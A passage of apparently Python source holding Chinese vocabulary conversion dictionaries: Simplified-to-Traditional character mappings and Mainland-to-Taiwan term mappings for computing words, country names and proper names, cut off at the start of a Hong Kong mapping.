&#39;铜制&#39;: &#39;銅製&#39;, &#39;铝制&#39;: &#39;鋁製&#39;, &#39;钢制&#39;: &#39;鋼製&#39;, &#39;录着&#39;: &#39;錄著&#39;, &#39;录制&#39;: &#39;錄製&#39;, &#39;表带&#39;: &#39;錶帶&#39;, &#39;表店&#39;: &#39;錶店&#39;, &#39;表厂&#39;: &#39;錶廠&#39;, &#39;表壳&#39;: &#39;錶殼&#39;, &#39;表链&#39;: &#39;錶鏈&#39;, &#39;表面&#39;: &#39;錶面&#39;, &#39;锅台&#39;: &#39;鍋臺&#39;, &#39;锻鍊出&#39;: &#39;鍛鍊出&#39;, &#39;锻鍊身体&#39;: &#39;鍛鍊身体&#39;, &#39;锲而不舍&#39;: &#39;鍥而不捨&#39;, &#39;锤儿&#39;: &#39;鎚兒&#39;, &#39;锤子&#39;: &#39;鎚子&#39;, &#39;锤头&#39;: &#39;鎚頭&#39;, &#39;链霉素&#39;: &#39;鏈黴素&#39;, &#39;镜台&#39;: &#39;鏡臺&#39;, &#39;锈病&#39;: &#39;鏽病&#39;, &#39;锈菌&#39;: &#39;鏽菌&#39;, &#39;锈蚀&#39;: &#39;鏽蝕&#39;, &#39;钟表&#39;: &#39;鐘錶&#39;, &#39;铁锤&#39;: &#39;鐵鎚&#39;, &#39;铁锈&#39;: &#39;鐵鏽&#39;, &#39;长征&#39;: &#39;長征&#39;, &#39;长发&#39;: &#39;長髮&#39;, &#39;长须鲸&#39;: &#39;長鬚鯨&#39;, &#39;门帘&#39;: &#39;門帘&#39;, &#39;门斗&#39;: &#39;門斗&#39;, &#39;门里&#39;: &#39;門裡&#39;, &#39;开伙&#39;: &#39;開伙&#39;, &#39;开卷&#39;: &#39;開卷&#39;, &#39;开诚布公&#39;: &#39;開誠佈公&#39;, &#39;开采&#39;: &#39;開采&#39;, &#39;閒情逸致&#39;: &#39;閒情逸緻&#39;, &#39;閒荡&#39;: &#39;閒蕩&#39;, &#39;间不容发&#39;: &#39;間不容髮&#39;, &#39;闵采尔&#39;: &#39;閔采爾&#39;, &#39;阅卷&#39;: &#39;閱卷&#39;, &#39;阑干&#39;: &#39;闌干&#39;, &#39;关系&#39;: &#39;關係&#39;, &#39;关系着&#39;: &#39;關係著&#39;, &#39;防御&#39;: &#39;防禦&#39;, &#39;防锈&#39;: &#39;防鏽&#39;, &#39;防台&#39;: &#39;防颱&#39;, &#39;阿斗&#39;: &#39;阿斗&#39;, &#39;阿里&#39;: &#39;阿裡&#39;, &#39;除旧布新&#39;: &#39;除舊佈新&#39;, &#39;阴干&#39;: &#39;陰干&#39;, &#39;阴历&#39;: &#39;陰曆&#39;, &#39;阴郁&#39;: &#39;陰郁&#39;, &#39;陆征祥&#39;: &#39;陸征祥&#39;, &#39;阳春面&#39;: &#39;陽春麵&#39;, &#39;阳历&#39;: &#39;陽曆&#39;, &#39;阳台&#39;: &#39;陽臺&#39;, &#39;只字&#39;: &#39;隻字&#39;, &#39;只影&#39;: &#39;隻影&#39;, &#39;只手遮天&#39;: &#39;隻手遮天&#39;, &#39;只眼&#39;: &#39;隻眼&#39;, &#39;只言片语&#39;: &#39;隻言片語&#39;, &#39;只身&#39;: &#39;隻身&#39;, &#39;雅致&#39;: &#39;雅緻&#39;, &#39;雇佣&#39;: &#39;雇佣&#39;, &#39;双折&#39;: &#39;雙摺&#39;, &#39;杂志&#39;: &#39;雜誌&#39;, &#39;鸡丝&#39;: &#39;雞絲&#39;, &#39;鸡丝面&#39;: &#39;雞絲麵&#39;, &#39;鸡腿面&#39;: &#39;雞腿麵&#39;, &#39;鸡只&#39;: &#39;雞隻&#39;, &#39;难舍&#39;: &#39;難捨&#39;, &#39;雪里&#39;: &#39;雪裡&#39;, &#39;云须&#39;: &#39;雲鬚&#39;, &#39;电子表&#39;: &#39;電子錶&#39;, &#39;电台&#39;: &#39;電臺&#39;, &#39;电冲&#39;: &#39;電衝&#39;, &#39;电复&#39;: &#39;電覆&#39;, &#39;电视台&#39;: &#39;電視臺&#39;, &#39;电表&#39;: &#39;電錶&#39;, &#39;震荡&#39;: &#39;震蕩&#39;, &#39;雾里&#39;: &#39;霧裡&#39;, &#39;露台&#39;: &#39;露臺&#39;, &#39;灵台&#39;: &#39;靈臺&#39;, &#39;青瓦台&#39;: &#39;青瓦臺&#39;, &#39;青霉&#39;: &#39;青黴&#39;, &#39;面朝着&#39;: &#39;面朝著&#39;, &#39;面临着&#39;: &#39;面臨著&#39;, &#39;鞋里&#39;: &#39;鞋裡&#39;, &#39;鞣制&#39;: &#39;鞣製&#39;, &#39;秋千&#39;: &#39;鞦韆&#39;, &#39;鞭辟入里&#39;: &#39;鞭辟入裡&#39;, &#39;韩国制&#39;: &#39;韓國製&#39;, &#39;韩制&#39;: &#39;韓製&#39;, &#39;预制&#39;: &#39;預製&#39;, &#39;颁布&#39;: &#39;頒佈&#39;, &#39;头里&#39;: &#39;頭裡&#39;, &#39;头发&#39;: &#39;頭髮&#39;, &#39;颊须&#39;: &#39;頰鬚&#39;, &#39;颠仆&#39;: &#39;顛仆&#39;, &#39;颠复&#39;: &#39;顛覆&#39;, &#39;显着标志&#39;: &#39;顯著標志&#39;, &#39;风土志&#39;: &#39;風土誌&#39;, &#39;风斗&#39;: &#39;風斗&#39;, &#39;风物志&#39;: &#39;風物誌&#39;, &#39;风里&#39;: &#39;風裡&#39;, &#39;风采&#39;: &#39;風采&#39;, &#39;台风&#39;: &#39;颱風&#39;, &#39;刮了&#39;: &#39;颳了&#39;, &#39;刮倒&#39;: &#39;颳倒&#39;, &#39;刮去&#39;: &#39;颳去&#39;, &#39;刮得&#39;: &#39;颳得&#39;, &#39;刮走&#39;: &#39;颳走&#39;, &#39;刮起&#39;: &#39;颳起&#39;, &#39;刮风&#39;: &#39;颳風&#39;, &#39;飘荡&#39;: &#39;飄蕩&#39;, &#39;饭团&#39;: &#39;飯糰&#39;, &#39;饼干&#39;: &#39;餅干&#39;, &#39;馄饨面&#39;: &#39;餛飩麵&#39;, &#39;饥不择食&#39;: &#39;饑不擇食&#39;, &#39;饥寒&#39;: &#39;饑寒&#39;, &#39;饥民&#39;: &#39;饑民&#39;, &#39;饥渴&#39;: &#39;饑渴&#39;, &#39;饥溺&#39;: &#39;饑溺&#39;, &#39;饥荒&#39;: &#39;饑荒&#39;, &#39;饥饱&#39;: &#39;饑飽&#39;, &#39;饥饿&#39;: &#39;饑餓&#39;, &#39;饥馑&#39;: &#39;饑饉&#39;, &#39;首当其冲&#39;: &#39;首當其衝&#39;, &#39;香郁&#39;: &#39;香郁&#39;, &#39;馥郁&#39;: &#39;馥郁&#39;, &#39;马里&#39;: &#39;馬裡&#39;, &#39;马表&#39;: &#39;馬錶&#39;, &#39;骀荡&#39;: &#39;駘蕩&#39;, &#39;腾冲&#39;: &#39;騰衝&#39;, &#39;骨子里&#39;: &#39;骨子裡&#39;, &#39;骨干&#39;: &#39;骨幹&#39;, &#39;骨灰坛&#39;: &#39;骨灰罈&#39;, &#39;肮脏&#39;: &#39;骯髒&#39;, &#39;脏乱&#39;: &#39;髒亂&#39;, &#39;脏兮兮&#39;: &#39;髒兮兮&#39;, &#39;脏字&#39;: &#39;髒字&#39;, &#39;脏得&#39;: &#39;髒得&#39;, &#39;脏东西&#39;: &#39;髒東西&#39;, &#39;脏水&#39;: &#39;髒水&#39;, &#39;脏的&#39;: &#39;髒的&#39;, &#39;脏话&#39;: &#39;髒話&#39;, &#39;脏钱&#39;: &#39;髒錢&#39;, &#39;高干&#39;: &#39;高幹&#39;, &#39;高台&#39;: &#39;高臺&#39;, &#39;髭须&#39;: &#39;髭鬚&#39;, &#39;发型&#39;: &#39;髮型&#39;, &#39;发夹&#39;: &#39;髮夾&#39;, &#39;发妻&#39;: &#39;髮妻&#39;, &#39;发姐&#39;: &#39;髮姐&#39;, &#39;发带&#39;: &#39;髮帶&#39;, &#39;发廊&#39;: &#39;髮廊&#39;, &#39;发式&#39;: &#39;髮式&#39;, &#39;发指&#39;: &#39;髮指&#39;, &#39;发捲&#39;: &#39;髮捲&#39;, &#39;发根&#39;: &#39;髮根&#39;, &#39;发毛&#39;: &#39;髮毛&#39;, &#39;发油&#39;: &#39;髮油&#39;, &#39;发状&#39;: &#39;髮狀&#39;, &#39;发短心长&#39;: &#39;髮短心長&#39;, &#39;发端&#39;: &#39;髮端&#39;, &#39;发结&#39;: &#39;髮結&#39;, &#39;发丝&#39;: &#39;髮絲&#39;, &#39;发网&#39;: &#39;髮網&#39;, &#39;发肤&#39;: &#39;髮膚&#39;, &#39;发胶&#39;: &#39;髮膠&#39;, &#39;发菜&#39;: &#39;髮菜&#39;, &#39;发蜡&#39;: &#39;髮蠟&#39;, &#39;发辫&#39;: &#39;髮辮&#39;, &#39;发针&#39;: &#39;髮針&#39;, &#39;发长&#39;: &#39;髮長&#39;, &#39;发际&#39;: &#39;髮際&#39;, &#39;发霜&#39;: &#39;髮霜&#39;, &#39;发髻&#39;: &#39;髮髻&#39;, &#39;发鬓&#39;: &#39;髮鬢&#39;, &#39;鬅松&#39;: &#39;鬅鬆&#39;, &#39;松了&#39;: &#39;鬆了&#39;, &#39;松些&#39;: &#39;鬆些&#39;, &#39;松劲&#39;: &#39;鬆勁&#39;, &#39;松动&#39;: &#39;鬆動&#39;, &#39;松口&#39;: &#39;鬆口&#39;, &#39;松土&#39;: &#39;鬆土&#39;, &#39;松弛&#39;: &#39;鬆弛&#39;, &#39;松快&#39;: &#39;鬆快&#39;, &#39;松懈&#39;: &#39;鬆懈&#39;, &#39;松手&#39;: &#39;鬆手&#39;, &#39;松散&#39;: &#39;鬆散&#39;, &#39;松林&#39;: &#39;鬆林&#39;, &#39;松柔&#39;: &#39;鬆柔&#39;, &#39;松毛虫&#39;: &#39;鬆毛蟲&#39;, &#39;松浮&#39;: &#39;鬆浮&#39;, &#39;松涛&#39;: &#39;鬆濤&#39;, &#39;松科&#39;: &#39;鬆科&#39;, &#39;松节油&#39;: &#39;鬆節油&#39;, &#39;松绑&#39;: &#39;鬆綁&#39;, &#39;松紧&#39;: &#39;鬆緊&#39;, &#39;松缓&#39;: &#39;鬆緩&#39;, &#39;松脆&#39;: &#39;鬆脆&#39;, &#39;松脱&#39;: &#39;鬆脫&#39;, &#39;松起&#39;: &#39;鬆起&#39;, &#39;松软&#39;: &#39;鬆軟&#39;, &#39;松通&#39;: &#39;鬆通&#39;, &#39;松开&#39;: &#39;鬆開&#39;, &#39;松饼&#39;: &#39;鬆餅&#39;, &#39;松松&#39;: &#39;鬆鬆&#39;, &#39;鬈发&#39;: &#39;鬈髮&#39;, &#39;胡子&#39;: &#39;鬍子&#39;, &#39;胡梢&#39;: &#39;鬍梢&#39;, &#39;胡渣&#39;: &#39;鬍渣&#39;, &#39;胡髭&#39;: &#39;鬍髭&#39;, &#39;胡须&#39;: &#39;鬍鬚&#39;, &#39;须根&#39;: &#39;鬚根&#39;, &#39;须毛&#39;: &#39;鬚毛&#39;, &#39;须生&#39;: &#39;鬚生&#39;, &#39;须眉&#39;: &#39;鬚眉&#39;, &#39;须发&#39;: &#39;鬚髮&#39;, &#39;须须&#39;: &#39;鬚鬚&#39;, &#39;鬓发&#39;: &#39;鬢髮&#39;, &#39;斗着&#39;: &#39;鬥著&#39;, &#39;闹着玩儿&#39;: &#39;鬧著玩兒&#39;, &#39;鱼松&#39;: &#39;魚鬆&#39;, &#39;鲸须&#39;: &#39;鯨鬚&#39;, &#39;鲇鱼&#39;: &#39;鯰魚&#39;, &#39;鹤发&#39;: &#39;鶴髮&#39;, &#39;卤化&#39;: &#39;鹵化&#39;, &#39;卤味&#39;: &#39;鹵味&#39;, &#39;卤族&#39;: &#39;鹵族&#39;, &#39;卤水&#39;: &#39;鹵水&#39;, &#39;卤汁&#39;: &#39;鹵汁&#39;, &#39;卤簿&#39;: &#39;鹵簿&#39;, &#39;卤素&#39;: &#39;鹵素&#39;, &#39;卤莽&#39;: &#39;鹵莽&#39;, &#39;卤钝&#39;: &#39;鹵鈍&#39;, &#39;咸味&#39;: &#39;鹹味&#39;, &#39;咸土&#39;: &#39;鹹土&#39;, &#39;咸度&#39;: &#39;鹹度&#39;, &#39;咸得&#39;: &#39;鹹得&#39;, &#39;咸水&#39;: &#39;鹹水&#39;, &#39;咸海&#39;: &#39;鹹海&#39;, &#39;咸淡&#39;: &#39;鹹淡&#39;, &#39;咸湖&#39;: &#39;鹹湖&#39;, &#39;咸汤&#39;: &#39;鹹湯&#39;, &#39;咸的&#39;: &#39;鹹的&#39;, &#39;咸肉&#39;: &#39;鹹肉&#39;, &#39;咸菜&#39;: &#39;鹹菜&#39;, &#39;咸蛋&#39;: &#39;鹹蛋&#39;, &#39;咸猪肉&#39;: &#39;鹹豬肉&#39;, &#39;咸类&#39;: &#39;鹹類&#39;, &#39;咸鱼&#39;: &#39;鹹魚&#39;, &#39;咸鸭蛋&#39;: &#39;鹹鴨蛋&#39;, &#39;咸卤&#39;: &#39;鹹鹵&#39;, &#39;咸咸&#39;: &#39;鹹鹹&#39;, &#39;盐卤&#39;: &#39;鹽鹵&#39;, &#39;面价&#39;: &#39;麵價&#39;, &#39;面包&#39;: &#39;麵包&#39;, &#39;面团&#39;: &#39;麵團&#39;, &#39;面店&#39;: &#39;麵店&#39;, &#39;面厂&#39;: &#39;麵廠&#39;, &#39;面杖&#39;: &#39;麵杖&#39;, &#39;面条&#39;: &#39;麵條&#39;, &#39;面灰&#39;: &#39;麵灰&#39;, &#39;面皮&#39;: &#39;麵皮&#39;, &#39;面筋&#39;: &#39;麵筋&#39;, &#39;面粉&#39;: &#39;麵粉&#39;, &#39;面糊&#39;: &#39;麵糊&#39;, &#39;面线&#39;: &#39;麵線&#39;, &#39;面茶&#39;: &#39;麵茶&#39;, &#39;面食&#39;: &#39;麵食&#39;, &#39;面饺&#39;: &#39;麵餃&#39;, &#39;面饼&#39;: &#39;麵餅&#39;, &#39;麻酱面&#39;: &#39;麻醬麵&#39;, &#39;黄历&#39;: &#39;黃曆&#39;, &#39;黄发垂髫&#39;: &#39;黃髮垂髫&#39;, &#39;黑发&#39;: &#39;黑髮&#39;, &#39;黑松&#39;: &#39;黑鬆&#39;, &#39;霉毒&#39;: &#39;黴毒&#39;, &#39;霉菌&#39;: &#39;黴菌&#39;, &#39;鼓里&#39;: &#39;鼓裡&#39;, &#39;冬冬&#39;: &#39;鼕鼕&#39;, &#39;龙卷&#39;: &#39;龍卷&#39;, &#39;龙须&#39;: &#39;龍鬚&#39;} # 中国台湾 zh2TW = {&#39;缺省&#39;: &#39;預設&#39;, &#39;串行&#39;: &#39;串列&#39;, &#39;以太网&#39;: &#39;乙太網&#39;, &#39;位图&#39;: &#39;點陣圖&#39;, &#39;例程&#39;: &#39;常式&#39;, &#39;信道&#39;: &#39;通道&#39;, &#39;光标&#39;: &#39;游標&#39;, &#39;光盘&#39;: &#39;光碟&#39;, &#39;光驱&#39;: &#39;光碟機&#39;, &#39;全角&#39;: &#39;全形&#39;, &#39;加载&#39;: &#39;載入&#39;, &#39;半角&#39;: &#39;半形&#39;, &#39;变量&#39;: &#39;變數&#39;, &#39;噪声&#39;: &#39;雜訊&#39;, &#39;脱机&#39;: &#39;離線&#39;, &#39;声卡&#39;: &#39;音效卡&#39;, &#39;老字号&#39;: &#39;老字號&#39;, &#39;字号&#39;: &#39;字型大小&#39;, &#39;字库&#39;: &#39;字型檔&#39;, &#39;字段&#39;: &#39;欄位&#39;, &#39;字符&#39;: &#39;字元&#39;, &#39;存盘&#39;: &#39;存檔&#39;, &#39;寻址&#39;: &#39;定址&#39;, &#39;尾注&#39;: &#39;章節附註&#39;, &#39;异步&#39;: &#39;非同步&#39;, &#39;总线&#39;: &#39;匯流排&#39;, &#39;括号&#39;: &#39;括弧&#39;, &#39;接口&#39;: &#39;介面&#39;, &#39;控件&#39;: &#39;控制項&#39;, &#39;权限&#39;: &#39;許可權&#39;, &#39;盘片&#39;: &#39;碟片&#39;, &#39;硅片&#39;: &#39;矽片&#39;, &#39;硅谷&#39;: &#39;矽谷&#39;, &#39;硬盘&#39;: &#39;硬碟&#39;, &#39;磁盘&#39;: &#39;磁碟&#39;, &#39;磁道&#39;: &#39;磁軌&#39;, &#39;程控&#39;: &#39;程式控制&#39;, &#39;端口&#39;: &#39;埠&#39;, &#39;算子&#39;: &#39;運算元&#39;, &#39;算法&#39;: &#39;演算法&#39;, &#39;芯片&#39;: &#39;晶元&#39;, &#39;词组&#39;: &#39;片語&#39;, &#39;译码&#39;: &#39;解碼&#39;, &#39;软驱&#39;: &#39;軟碟機&#39;, &#39;快闪存储器&#39;: &#39;快閃記憶體&#39;, &#39;闪存&#39;: &#39;快閃記憶體&#39;, &#39;鼠标&#39;: &#39;滑鼠&#39;, &#39;进制&#39;: &#39;進位&#39;, &#39;交互式&#39;: &#39;互動式&#39;, &#39;仿真&#39;: &#39;模擬&#39;, &#39;优先级&#39;: &#39;優先順序&#39;, &#39;传感&#39;: &#39;感測&#39;, &#39;便携式&#39;: &#39;攜帶型&#39;, &#39;信息论&#39;: &#39;資訊理論&#39;, &#39;写保护&#39;: &#39;防寫&#39;, &#39;分布式&#39;: &#39;分散式&#39;, &#39;分辨率&#39;: &#39;解析度&#39;, &#39;服务器&#39;: &#39;伺服器&#39;, &#39;等于&#39;: &#39;等於&#39;, &#39;局域网&#39;: &#39;區域網&#39;, &#39;计算机&#39;: &#39;電腦&#39;, &#39;扫瞄仪&#39;: &#39;掃瞄器&#39;, &#39;宽带&#39;: &#39;寬頻&#39;, &#39;数据库&#39;: &#39;資料庫&#39;, &#39;奶酪&#39;: &#39;乳酪&#39;, &#39;巨商&#39;: &#39;鉅賈&#39;, &#39;手电&#39;: &#39;手電筒&#39;, &#39;万历&#39;: &#39;萬曆&#39;, &#39;永历&#39;: &#39;永曆&#39;, &#39;词汇&#39;: &#39;辭彙&#39;, &#39;习用&#39;: &#39;慣用&#39;, &#39;元音&#39;: &#39;母音&#39;, &#39;任意球&#39;: &#39;自由球&#39;, &#39;头球&#39;: &#39;頭槌&#39;, &#39;入球&#39;: &#39;進球&#39;, &#39;粒入球&#39;: &#39;顆進球&#39;, &#39;打门&#39;: &#39;射門&#39;, &#39;火锅盖帽&#39;: &#39;蓋火鍋&#39;, &#39;打印机&#39;: &#39;印表機&#39;, &#39;打印機&#39;: &#39;印表機&#39;, &#39;字节&#39;: &#39;位元組&#39;, &#39;字節&#39;: &#39;位元組&#39;, &#39;打印&#39;: &#39;列印&#39;, &#39;硬件&#39;: &#39;硬體&#39;, &#39;二极管&#39;: &#39;二極體&#39;, &#39;二極管&#39;: &#39;二極體&#39;, &#39;三极管&#39;: &#39;三極體&#39;, &#39;三極管&#39;: &#39;三極體&#39;, &#39;软件&#39;: &#39;軟體&#39;, &#39;軟件&#39;: &#39;軟體&#39;, &#39;网络&#39;: &#39;網路&#39;, &#39;網絡&#39;: &#39;網路&#39;, &#39;人工智能&#39;: &#39;人工智慧&#39;, &#39;航天飞机&#39;: &#39;太空梭&#39;, &#39;穿梭機&#39;: &#39;太空梭&#39;, &#39;因特网&#39;: &#39;網際網路&#39;, &#39;互聯網&#39;: &#39;網際網路&#39;, &#39;机器人&#39;: &#39;機器人&#39;, &#39;機械人&#39;: &#39;機器人&#39;, &#39;移动电话&#39;: &#39;行動電話&#39;, &#39;流動電話&#39;: &#39;行動電話&#39;, &#39;调制解调器&#39;: &#39;數據機&#39;, &#39;調制解調器&#39;: &#39;數據機&#39;, &#39;短信&#39;: &#39;簡訊&#39;, &#39;短訊&#39;: &#39;簡訊&#39;, &#39;乌兹别克斯坦&#39;: &#39;烏茲別克&#39;, &#39;乍得&#39;: &#39;查德&#39;, &#39;也门&#39;: &#39;葉門&#39;, &#39;也門&#39;: &#39;葉門&#39;, &#39;伯利兹&#39;: &#39;貝里斯&#39;, &#39;伯利茲&#39;: &#39;貝里斯&#39;, &#39;佛得角&#39;: &#39;維德角&#39;, &#39;克罗地亚&#39;: &#39;克羅埃西亞&#39;, &#39;克羅地亞&#39;: &#39;克羅埃西亞&#39;, &#39;冈比亚&#39;: &#39;甘比亞&#39;, &#39;岡比亞&#39;: &#39;甘比亞&#39;, &#39;几内亚比绍&#39;: &#39;幾內亞比索&#39;, &#39;幾內亞比紹&#39;: &#39;幾內亞比索&#39;, &#39;列支敦士登&#39;: &#39;列支敦斯登&#39;, &#39;利比里亚&#39;: &#39;賴比瑞亞&#39;, &#39;利比里亞&#39;: &#39;賴比瑞亞&#39;, &#39;加纳&#39;: &#39;迦納&#39;, &#39;加納&#39;: &#39;迦納&#39;, &#39;加蓬&#39;: &#39;加彭&#39;, &#39;博茨瓦纳&#39;: &#39;波札那&#39;, &#39;博茨瓦納&#39;: &#39;波札那&#39;, &#39;卡塔尔&#39;: &#39;卡達&#39;, &#39;卡塔爾&#39;: &#39;卡達&#39;, &#39;卢旺达&#39;: &#39;盧安達&#39;, &#39;盧旺達&#39;: &#39;盧安達&#39;, &#39;危地马拉&#39;: &#39;瓜地馬拉&#39;, &#39;危地馬拉&#39;: &#39;瓜地馬拉&#39;, &#39;厄瓜多尔&#39;: &#39;厄瓜多&#39;, &#39;厄瓜多爾&#39;: &#39;厄瓜多&#39;, &#39;厄立特里亚&#39;: &#39;厄利垂亞&#39;, &#39;厄立特里亞&#39;: &#39;厄利垂亞&#39;, &#39;吉布提&#39;: &#39;吉布地&#39;, &#39;吉布堤&#39;: &#39;吉布地&#39;, &#39;哈萨克斯坦&#39;: &#39;哈薩克&#39;, &#39;哥斯达黎加&#39;: &#39;哥斯大黎加&#39;, &#39;哥斯達黎加&#39;: &#39;哥斯大黎加&#39;, &#39;图瓦卢&#39;: &#39;吐瓦魯&#39;, &#39;圖瓦盧&#39;: &#39;吐瓦魯&#39;, &#39;土库曼斯坦&#39;: &#39;土庫曼&#39;, &#39;圣卢西亚&#39;: &#39;聖露西亞&#39;, &#39;聖盧西亞&#39;: &#39;聖露西亞&#39;, &#39;圣基茨和尼维斯&#39;: &#39;聖克里斯多福及尼維斯&#39;, &#39;聖吉斯納域斯&#39;: &#39;聖克里斯多福及尼維斯&#39;, &#39;圣文森特和格林纳丁斯&#39;: &#39;聖文森及格瑞那丁&#39;, &#39;聖文森特和格林納丁斯&#39;: &#39;聖文森及格瑞那丁&#39;, &#39;圣马力诺&#39;: &#39;聖馬利諾&#39;, &#39;聖馬力諾&#39;: &#39;聖馬利諾&#39;, &#39;圭亚那&#39;: &#39;蓋亞那&#39;, &#39;圭亞那&#39;: &#39;蓋亞那&#39;, &#39;坦桑尼亚&#39;: &#39;坦尚尼亞&#39;, &#39;坦桑尼亞&#39;: &#39;坦尚尼亞&#39;, &#39;埃塞俄比亚&#39;: &#39;衣索比亞&#39;, &#39;埃塞俄比亞&#39;: &#39;衣索比亞&#39;, &#39;基里巴斯&#39;: &#39;吉里巴斯&#39;, &#39;塔吉克斯坦&#39;: &#39;塔吉克&#39;, &#39;塞拉利昂&#39;: &#39;獅子山&#39;, &#39;塞浦路斯&#39;: &#39;塞普勒斯&#39;, &#39;塞舌尔&#39;: &#39;塞席爾&#39;, &#39;塞舌爾&#39;: &#39;塞席爾&#39;, &#39;多米尼加&#39;: &#39;多明尼加&#39;, &#39;多明尼加共和國&#39;: &#39;多明尼加&#39;, &#39;多米尼加联邦&#39;: &#39;多米尼克&#39;, &#39;多明尼加聯邦&#39;: &#39;多米尼克&#39;, &#39;安提瓜和巴布达&#39;: &#39;安地卡及巴布達&#39;, &#39;安提瓜和巴布達&#39;: &#39;安地卡及巴布達&#39;, &#39;尼日利亚&#39;: &#39;奈及利亞&#39;, &#39;尼日利亞&#39;: &#39;奈及利亞&#39;, &#39;尼日尔&#39;: &#39;尼日&#39;, &#39;尼日爾&#39;: &#39;尼日&#39;, &#39;巴巴多斯&#39;: &#39;巴貝多&#39;, &#39;巴布亚新几内亚&#39;: &#39;巴布亞紐幾內亞&#39;, &#39;巴布亞新畿內亞&#39;: &#39;巴布亞紐幾內亞&#39;, &#39;布基纳法索&#39;: &#39;布吉納法索&#39;, &#39;布基納法索&#39;: &#39;布吉納法索&#39;, &#39;布隆迪&#39;: &#39;蒲隆地&#39;, &#39;希腊&#39;: &#39;希臘&#39;, &#39;帕劳&#39;: &#39;帛琉&#39;, &#39;意大利&#39;: &#39;義大利&#39;, &#39;所罗门群岛&#39;: &#39;索羅門群島&#39;, &#39;所羅門群島&#39;: &#39;索羅門群島&#39;, &#39;文莱&#39;: &#39;汶萊&#39;, &#39;斯威士兰&#39;: &#39;史瓦濟蘭&#39;, &#39;斯威士蘭&#39;: &#39;史瓦濟蘭&#39;, &#39;斯洛文尼亚&#39;: &#39;斯洛維尼亞&#39;, &#39;斯洛文尼亞&#39;: &#39;斯洛維尼亞&#39;, &#39;新西兰&#39;: &#39;紐西蘭&#39;, &#39;新西蘭&#39;: &#39;紐西蘭&#39;, &#39;格林纳达&#39;: &#39;格瑞那達&#39;, &#39;格林納達&#39;: &#39;格瑞那達&#39;, &#39;格鲁吉亚&#39;: &#39;喬治亞&#39;, &#39;格魯吉亞&#39;: &#39;喬治亞&#39;, &#39;佐治亚&#39;: &#39;喬治亞&#39;, &#39;佐治亞&#39;: &#39;喬治亞&#39;, &#39;毛里塔尼亚&#39;: &#39;茅利塔尼亞&#39;, &#39;毛里塔尼亞&#39;: &#39;茅利塔尼亞&#39;, &#39;毛里求斯&#39;: &#39;模里西斯&#39;, &#39;毛里裘斯&#39;: &#39;模里西斯&#39;, &#39;沙特阿拉伯&#39;: &#39;沙烏地阿拉伯&#39;, &#39;沙地阿拉伯&#39;: &#39;沙烏地阿拉伯&#39;, &#39;波斯尼亚和黑塞哥维那&#39;: &#39;波士尼亞赫塞哥維納&#39;, &#39;波斯尼亞黑塞哥維那&#39;: &#39;波士尼亞赫塞哥維納&#39;, &#39;津巴布韦&#39;: &#39;辛巴威&#39;, &#39;津巴布韋&#39;: &#39;辛巴威&#39;, &#39;洪都拉斯&#39;: &#39;宏都拉斯&#39;, &#39;特立尼达和托巴哥&#39;: &#39;千里達托貝哥&#39;, &#39;特立尼達和多巴哥&#39;: &#39;千里達托貝哥&#39;, &#39;瑙鲁&#39;: &#39;諾魯&#39;, &#39;瑙魯&#39;: &#39;諾魯&#39;, &#39;瓦努阿图&#39;: &#39;萬那杜&#39;, &#39;瓦努阿圖&#39;: &#39;萬那杜&#39;, &#39;溫納圖萬&#39;: &#39;那杜&#39;, &#39;科摩罗&#39;: &#39;葛摩&#39;, &#39;科摩羅&#39;: &#39;葛摩&#39;, &#39;科特迪瓦&#39;: &#39;象牙海岸&#39;, &#39;突尼斯&#39;: &#39;突尼西亞&#39;, &#39;索马里&#39;: &#39;索馬利亞&#39;, &#39;索馬里&#39;: &#39;索馬利亞&#39;, &#39;老挝&#39;: &#39;寮國&#39;, &#39;老撾&#39;: &#39;寮國&#39;, &#39;肯尼亚&#39;: &#39;肯亞&#39;, &#39;肯雅&#39;: &#39;肯亞&#39;, &#39;苏里南&#39;: &#39;蘇利南&#39;, &#39;莫桑比克&#39;: &#39;莫三比克&#39;, &#39;莱索托&#39;: &#39;賴索托&#39;, &#39;萊索托&#39;: &#39;賴索托&#39;, &#39;贝宁&#39;: &#39;貝南&#39;, &#39;貝寧&#39;: &#39;貝南&#39;, &#39;赞比亚&#39;: &#39;尚比亞&#39;, &#39;贊比亞&#39;: &#39;尚比亞&#39;, &#39;阿塞拜疆&#39;: &#39;亞塞拜然&#39;, &#39;阿拉伯联合酋长国&#39;: &#39;阿拉伯聯合大公國&#39;, &#39;阿拉伯聯合酋長國&#39;: &#39;阿拉伯聯合大公國&#39;, &#39;马尔代夫&#39;: &#39;馬爾地夫&#39;, &#39;馬爾代夫&#39;: &#39;馬爾地夫&#39;, &#39;马耳他&#39;: &#39;馬爾他&#39;, &#39;马里共和国&#39;: &#39;馬利共和國&#39;, &#39;馬里共和國&#39;: &#39;馬利共和國&#39;, &#39;方便面&#39;: &#39;速食麵&#39;, &#39;快速面&#39;: &#39;速食麵&#39;, &#39;即食麵&#39;: &#39;速食麵&#39;, &#39;薯仔&#39;: &#39;土豆&#39;, &#39;蹦极跳&#39;: &#39;笨豬跳&#39;, &#39;绑紧跳&#39;: &#39;笨豬跳&#39;, &#39;冷菜&#39;: &#39;冷盤&#39;, &#39;凉菜&#39;: &#39;冷盤&#39;, &#39;出租车&#39;: &#39;計程車&#39;, &#39;台球&#39;: &#39;撞球&#39;, &#39;桌球&#39;: &#39;撞球&#39;, &#39;雪糕&#39;: &#39;冰淇淋&#39;, &#39;卫生&#39;: &#39;衛生&#39;, &#39;衞生&#39;: &#39;衛生&#39;, &#39;平治&#39;: &#39;賓士&#39;, &#39;奔驰&#39;: &#39;賓士&#39;, &#39;積架&#39;: &#39;捷豹&#39;, &#39;福士&#39;: &#39;福斯&#39;, &#39;雪铁龙&#39;: &#39;雪鐵龍&#39;, &#39;马自达&#39;: &#39;馬自達&#39;, &#39;萬事得&#39;: &#39;馬自達&#39;, &#39;拿破仑&#39;: &#39;拿破崙&#39;, &#39;拿破侖&#39;: &#39;拿破崙&#39;, &#39;布什&#39;: &#39;布希&#39;, &#39;布殊&#39;: &#39;布希&#39;, &#39;克林顿&#39;: &#39;柯林頓&#39;, &#39;克林頓&#39;: &#39;柯林頓&#39;, &#39;侯赛因&#39;: &#39;海珊&#39;, &#39;侯賽因&#39;: &#39;海珊&#39;, &#39;凡高&#39;: &#39;梵谷&#39;, &#39;狄安娜&#39;: &#39;黛安娜&#39;, &#39;戴安娜&#39;: &#39;黛安娜&#39;, &#39;赫拉&#39;: &#39;希拉&#39;} # 中国香港 zh2HK = {&#39;打印机&#39;: &#39;打印機&#39;, &#39;印表機&#39;: &#39;打印機&#39;, &#39;字节&#39;: 